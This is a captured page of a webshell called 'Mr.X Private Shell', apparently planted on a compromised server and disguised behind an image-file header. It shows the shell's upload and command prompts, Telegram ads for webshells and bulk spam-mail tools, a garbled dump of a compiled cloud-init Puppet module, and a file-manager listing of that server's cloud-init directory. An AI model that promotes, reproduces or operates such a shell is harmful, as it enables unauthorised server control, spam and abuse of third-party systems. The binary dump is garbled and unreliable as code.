����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg�*�@s8UdZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlZddlm
Z
mZmZmZmZddlmZddlmZdd	lmZdd
lmZmZmZddlmZdZd
gZdZ degedgd�Z!ee"d<e�#e$�Z%Gdd�d�Z&ee'd�dd�Z(dd�Z)edddfed�dd�Z*e'eee+dd�dd �Z,dS)!z+Puppet: Install, configure and start puppet�N)�suppress)�StringIO)�List�Union)�helpers�subp�
temp_utils�
url_helper�util)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�Distro�PackageInstallerError)�PER_INSTANCEzKhttps://raw.githubusercontent.com/puppetlabs/install-puppet/main/install.shz--test)�puppet-agent�puppetZ	cc_puppetr)�idZdistrosZ	frequencyZactivate_by_schema_keys�metac@seZdZdd�ZdS)�PuppetConstantscCs8||_||_tj�|d�|_tj�|jd�|_||_dS)NZcertszca.pem)�	conf_path�ssl_dir�os�path�join�ssl_cert_dir�
ssl_cert_path�csr_attributes_path)�selfZpuppet_conf_fileZpuppet_ssl_dirr�r �>/usr/lib/python3.9/site-packages/cloudinit/config/cc_puppet.py�__init__*s
zPuppetConstants.__init__N)�__name__�
__module__�__qualname__r"r r r r!r)sr)�cloud�actionc	Csbd}tD]<}z"|j�||�d��|}WqFWqtjyBYq0q|s^t�d|d�t��dS)z8Attempts to perform action on one of the puppet services�z.servicez0Could not '%s' any of the following services: %s�, N)�PUPPET_PACKAGE_NAMES�distroZmanage_servicerZProcessExecutionError�LOG�warningr)r&r'Zservice_managed�puppet_namer r r!�_manage_puppet_services7s
�r/cCst�|dd|g�\}}|��S)z�Get the config value for a given setting using `puppet config print`
    :param puppet_bin: path to puppet binary
    :param setting: setting to query
    �config�print)r�rstrip)�
puppet_binZsetting�out�_r r r!�get_config_valueIsr6T)r+c	Cs�g}|durd|g}|dur(|d|g7}|r6|dg7}tj|dd�j}tj|��dd��B}tj�|d	�}t	j
||d
d�tj|g|dd
�Wd�S1s�0YdS)a�Install puppet-agent from the puppetlabs repositories using the one-shot
    shell script

    :param distro: Instance of Distro
    :param url: URL from where to download the install script
    :param version: version to install, blank defaults to latest
    :param collection: collection to install, blank defaults to latest
    :param cleanup: whether to purge the puppetlabs repo after installation
    Nz-vz-cz	--cleanup�)�urlZretriesT)�dirZ	needs_exezpuppet-installi�)�modeF�Zcapture)r	Zreadurl�contentsrZtempdirZget_tmp_exec_pathrrrr
�
write_filer)	r+r8�version�
collection�cleanup�argsZcontentZtmpdZtmpfr r r!�install_puppet_aioRs
�rB)�name�cfgr&rA�returnc 	CsRd|vrt�d|�dS|d}t�|dd�}t�|dd�}t�|dd�}t�|dd�}t�|d	d�}	tj|d
dd�}
tj|d
dd�}tj|dtd�}|dkr�d}
d}d}nd}
d}d}t�|d|�}|s�|r�t�d��n
|�r�t�d|r�|nd|�|dk�r�|du�r�tD]h}tt	��H|�r.||ggn|g}|j
�|�|}Wd��qzWd�n1�sl0Y�q|�s�t�dd�t��n"|�r�||ggn|g}|j
�|�n.|dk�r�t
|j
||||	�nt�d|�d}
t�|dt|d��}t�|dt|d��}t�|dt|d��}t|||�}d |v�rrt�|j�}t��}d!d"�|��D�}d#�|�}|jt|�|jd$�|d ��D]�\}}|d%k�r�t�|jd&�t�|j|
d�t�|j�t�|j|
d�t�|j|�t�|j|
d�nT|��D]J\}}|d'k�r6|�d(t� ��}|�d)|�!��}|�"�}|�#|||��q�t�$|jd*|j�t�|j|�%���q�d|v�r�t�|j&t'j(|ddd+��|�r�t)|d,�|
�r>t�d-�|d.g}d/|v�r&|d/}t*|t+t,f��r�|�-|�n6t*|t.��r
|�-|�/��nt�d0t0|��|�-t1�n
|�-t1�t2j2|dd1�|�rNt)|d2�dS)3Nrz9Skipping module named %s, no 'puppet' configuration found�installTr>r?�install_typeZpackagesr@�execF)�defaultZ
start_service�aio_install_urlZaio�rootz/opt/puppetlabs/bin/puppetr�package_namez@Puppet install set to false but version supplied, doing nothing.z'Attempting to install puppet %s from %sZlatestz+No installable puppet package in any of: %sr)z Unknown puppet install type '%s'�	conf_filer0rZssldirrZcsr_attributesZconfcSsg|]}|���qSr )�lstrip)�.0�ir r r!�
<listcomp>��zhandle.<locals>.<listcomp>�
)�sourceZca_certi�Zcertnamez%fz%iz%s.old)Zdefault_flow_style�enablezRunning puppet-agentZagentZ	exec_argszOUnknown type %s provided for puppet 'exec_args' expected list, tuple, or stringr;�start)3r,�debugr
Zget_cfg_option_boolZget_cfg_option_str�AIO_INSTALL_URLr-r*rrr+Zinstall_packagesrrBr6rZload_text_filerrZDefaultingConfigParser�
splitlinesZ	read_filer�itemsZ
ensure_dirrZchownbynamerr=r�replace�socketZgetfqdnZget_instance_id�lower�set�renameZ	stringifyr�yaml�dumpr/�
isinstance�list�tuple�extend�str�split�type�PUPPET_AGENT_DEFAULT_ARGSr) rCrDr&rAZ
puppet_cfgrFr>r?rGr@�runZ
start_puppetdrJZpuppet_userr3Zpuppet_packagerLr.Z
to_installrMrrZp_constantsr<Z
puppet_configZ
cleaned_linesZcleaned_contentsZcfg_name�o�v�cmdZcmd_argsr r r!�handlevs������
�


��6��
����


�
�
�
�


�
rn)-�__doc__Zloggingrr\�
contextlibr�ior�typingrrr`Z	cloudinitrrrr	r
Zcloudinit.cloudrZcloudinit.configrZcloudinit.config.schemar
Zcloudinit.distrosrrrZcloudinit.settingsrrXrir*r�__annotations__Z	getLoggerr#r,rrfr/r6rBrcrnr r r r!�<module>	sB�
��$

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 193 B 0644
__init__.cpython-39.pyc File 193 B 0644
cc_ansible.cpython-39.opt-1.pyc File 7.83 KB 0644
cc_ansible.cpython-39.pyc File 7.83 KB 0644
cc_apk_configure.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_apk_configure.cpython-39.pyc File 3.34 KB 0644
cc_apt_configure.cpython-39.opt-1.pyc File 26.31 KB 0644
cc_apt_configure.cpython-39.pyc File 26.31 KB 0644
cc_apt_pipelining.cpython-39.opt-1.pyc File 1.73 KB 0644
cc_apt_pipelining.cpython-39.pyc File 1.73 KB 0644
cc_bootcmd.cpython-39.opt-1.pyc File 1.5 KB 0644
cc_bootcmd.cpython-39.pyc File 1.5 KB 0644
cc_byobu.cpython-39.opt-1.pyc File 2.21 KB 0644
cc_byobu.cpython-39.pyc File 2.21 KB 0644
cc_ca_certs.cpython-39.opt-1.pyc File 6.26 KB 0644
cc_ca_certs.cpython-39.pyc File 6.26 KB 0644
cc_chef.cpython-39.opt-1.pyc File 7.75 KB 0644
cc_chef.cpython-39.pyc File 7.75 KB 0644
cc_disable_ec2_metadata.cpython-39.opt-1.pyc File 1.41 KB 0644
cc_disable_ec2_metadata.cpython-39.pyc File 1.41 KB 0644
cc_disk_setup.cpython-39.opt-1.pyc File 20.6 KB 0644
cc_disk_setup.cpython-39.pyc File 20.6 KB 0644
cc_fan.cpython-39.opt-1.pyc File 1.83 KB 0644
cc_fan.cpython-39.pyc File 1.83 KB 0644
cc_final_message.cpython-39.opt-1.pyc File 2.31 KB 0644
cc_final_message.cpython-39.pyc File 2.31 KB 0644
cc_growpart.cpython-39.opt-1.pyc File 14.18 KB 0644
cc_growpart.cpython-39.pyc File 14.18 KB 0644
cc_grub_dpkg.cpython-39.opt-1.pyc File 3.85 KB 0644
cc_grub_dpkg.cpython-39.pyc File 3.85 KB 0644
cc_install_hotplug.cpython-39.opt-1.pyc File 2.64 KB 0644
cc_install_hotplug.cpython-39.pyc File 2.64 KB 0644
cc_keyboard.cpython-39.opt-1.pyc File 1.29 KB 0644
cc_keyboard.cpython-39.pyc File 1.29 KB 0644
cc_keys_to_console.cpython-39.opt-1.pyc File 1.91 KB 0644
cc_keys_to_console.cpython-39.pyc File 1.91 KB 0644
cc_landscape.cpython-39.opt-1.pyc File 2.65 KB 0644
cc_landscape.cpython-39.pyc File 2.65 KB 0644
cc_locale.cpython-39.opt-1.pyc File 1.11 KB 0644
cc_locale.cpython-39.pyc File 1.11 KB 0644
cc_lxd.cpython-39.opt-1.pyc File 8.9 KB 0644
cc_lxd.cpython-39.pyc File 8.9 KB 0644
cc_mcollective.cpython-39.opt-1.pyc File 2.4 KB 0644
cc_mcollective.cpython-39.pyc File 2.4 KB 0644
cc_mounts.cpython-39.opt-1.pyc File 14.09 KB 0644
cc_mounts.cpython-39.pyc File 14.09 KB 0644
cc_ntp.cpython-39.opt-1.pyc File 11.17 KB 0644
cc_ntp.cpython-39.pyc File 11.17 KB 0644
cc_package_update_upgrade_install.cpython-39.opt-1.pyc File 3.09 KB 0644
cc_package_update_upgrade_install.cpython-39.pyc File 3.09 KB 0644
cc_phone_home.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_phone_home.cpython-39.pyc File 2.56 KB 0644
cc_power_state_change.cpython-39.opt-1.pyc File 4.99 KB 0644
cc_power_state_change.cpython-39.pyc File 4.99 KB 0644
cc_puppet.cpython-39.opt-1.pyc File 6.38 KB 0644
cc_puppet.cpython-39.pyc File 6.38 KB 0644
cc_reset_rmc.cpython-39.opt-1.pyc File 3.6 KB 0644
cc_reset_rmc.cpython-39.pyc File 3.6 KB 0644
cc_resizefs.cpython-39.opt-1.pyc File 6.93 KB 0644
cc_resizefs.cpython-39.pyc File 6.93 KB 0644
cc_resolv_conf.cpython-39.opt-1.pyc File 2.54 KB 0644
cc_resolv_conf.cpython-39.pyc File 2.54 KB 0644
cc_rh_subscription.cpython-39.opt-1.pyc File 10.5 KB 0644
cc_rh_subscription.cpython-39.pyc File 10.5 KB 0644
cc_rsyslog.cpython-39.opt-1.pyc File 8.71 KB 0644
cc_rsyslog.cpython-39.pyc File 8.71 KB 0644
cc_runcmd.cpython-39.opt-1.pyc File 1.28 KB 0644
cc_runcmd.cpython-39.pyc File 1.28 KB 0644
cc_salt_minion.cpython-39.opt-1.pyc File 2.63 KB 0644
cc_salt_minion.cpython-39.pyc File 2.63 KB 0644
cc_scripts_per_boot.cpython-39.opt-1.pyc File 1.13 KB 0644
cc_scripts_per_boot.cpython-39.pyc File 1.13 KB 0644
cc_scripts_per_instance.cpython-39.opt-1.pyc File 1.14 KB 0644
cc_scripts_per_instance.cpython-39.pyc File 1.14 KB 0644
cc_scripts_per_once.cpython-39.opt-1.pyc File 1.12 KB 0644
cc_scripts_per_once.cpython-39.pyc File 1.12 KB 0644
cc_scripts_user.cpython-39.opt-1.pyc File 1.1 KB 0644
cc_scripts_user.cpython-39.pyc File 1.1 KB 0644
cc_scripts_vendor.cpython-39.opt-1.pyc File 1.22 KB 0644
cc_scripts_vendor.cpython-39.pyc File 1.22 KB 0644
cc_seed_random.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_seed_random.cpython-39.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.pyc File 2.45 KB 0644
cc_set_passwords.cpython-39.opt-1.pyc File 6.62 KB 0644
cc_set_passwords.cpython-39.pyc File 6.62 KB 0644
cc_snap.cpython-39.opt-1.pyc File 3.27 KB 0644
cc_snap.cpython-39.pyc File 3.27 KB 0644
cc_spacewalk.cpython-39.opt-1.pyc File 2.24 KB 0644
cc_spacewalk.cpython-39.pyc File 2.24 KB 0644
cc_ssh.cpython-39.opt-1.pyc File 7.08 KB 0644
cc_ssh.cpython-39.pyc File 7.08 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.opt-1.pyc File 3.26 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.pyc File 3.26 KB 0644
cc_ssh_import_id.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_ssh_import_id.cpython-39.pyc File 3.34 KB 0644
cc_timezone.cpython-39.opt-1.pyc File 1.06 KB 0644
cc_timezone.cpython-39.pyc File 1.06 KB 0644
cc_ubuntu_autoinstall.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_ubuntu_autoinstall.cpython-39.pyc File 2.56 KB 0644
cc_ubuntu_drivers.cpython-39.opt-1.pyc File 3.38 KB 0644
cc_ubuntu_drivers.cpython-39.pyc File 3.38 KB 0644
cc_ubuntu_pro.cpython-39.opt-1.pyc File 9.38 KB 0644
cc_ubuntu_pro.cpython-39.pyc File 9.38 KB 0644
cc_update_etc_hosts.cpython-39.opt-1.pyc File 1.85 KB 0644
cc_update_etc_hosts.cpython-39.pyc File 1.85 KB 0644
cc_update_hostname.cpython-39.opt-1.pyc File 1.62 KB 0644
cc_update_hostname.cpython-39.pyc File 1.62 KB 0644
cc_users_groups.cpython-39.opt-1.pyc File 2.23 KB 0644
cc_users_groups.cpython-39.pyc File 2.23 KB 0644
cc_wireguard.cpython-39.opt-1.pyc File 6.03 KB 0644
cc_wireguard.cpython-39.pyc File 6.03 KB 0644
cc_write_files.cpython-39.opt-1.pyc File 3.97 KB 0644
cc_write_files.cpython-39.pyc File 3.97 KB 0644
cc_write_files_deferred.cpython-39.opt-1.pyc File 1.43 KB 0644
cc_write_files_deferred.cpython-39.pyc File 1.43 KB 0644
cc_yum_add_repo.cpython-39.opt-1.pyc File 3.49 KB 0644
cc_yum_add_repo.cpython-39.pyc File 3.49 KB 0644
cc_zypper_add_repo.cpython-39.opt-1.pyc File 4.11 KB 0644
cc_zypper_add_repo.cpython-39.pyc File 4.11 KB 0644
modules.cpython-39.opt-1.pyc File 8.13 KB 0644
modules.cpython-39.pyc File 8.13 KB 0644
schema.cpython-39.opt-1.pyc File 36.97 KB 0644
schema.cpython-39.pyc File 36.97 KB 0644